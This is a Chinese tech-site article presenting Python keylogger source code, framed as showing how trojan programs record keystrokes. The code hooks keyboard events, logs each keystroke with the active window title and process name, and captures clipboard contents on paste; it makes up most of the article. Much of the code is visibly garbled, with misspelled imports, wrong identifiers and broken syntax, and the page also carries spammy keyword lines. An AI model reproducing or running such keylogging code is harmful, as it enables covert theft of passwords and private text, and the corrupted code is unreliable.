当前位置: 移动技术网 > IT编程>脚本编程>Python > Python告诉你木马程序的键盘记录原理

Python告诉你木马程序的键盘记录原理

2019年03月18日  | 移动技术网IT编程  | 我要评论

qq飞车宠物哪个好,吉泽明步作品及其番号,youngforyou吉他谱

前言

python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows api的各种调用。python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyhook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.getforegroundwindow()
#获取进程id
pid = c_ulong(0)
user32. getwindowthreadprocessid(hwnd,byref(pid))
#将进程id存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.openprocess(0x400 | 0x10,false,pid)
psapi.getmodulebasenamea(h_process,none,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.getwindowtexta(hwnd,byref(windows.title),512)
#打印
print
print "[pid:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.closehandle(hwnd)
kernel32.closehandle(h_process)
#关闭键盘监听事件函数
def keystroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,windowname !=current_window:
current_window = event.windowname
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.ascii>32 and enent .ascii <127 :
print chr(event.ascii),
else:
#如果发现ctrl + v事件,就粘贴板内容记录下来
if event.key == "v"
win32clipboard.openclipdoard()
pasted_value = win32clipdoard. getclipdoarddata()
win32clipdoard.closeclipboard()
print "[paste]-%s" %(pasted_value),
else:
print "[%s]" %event.key,
循环监听下一个事件
return true
#创建并注册hook管理器
kl = pyhook.hookmanager()
kl.keydown = keystroke
#注册hook并兴趣
kl.hookkeyboard()
pythoncom.pumpmessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对移动技术网的支持。如果你想了解更多相关内容请查看下面相关链接

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网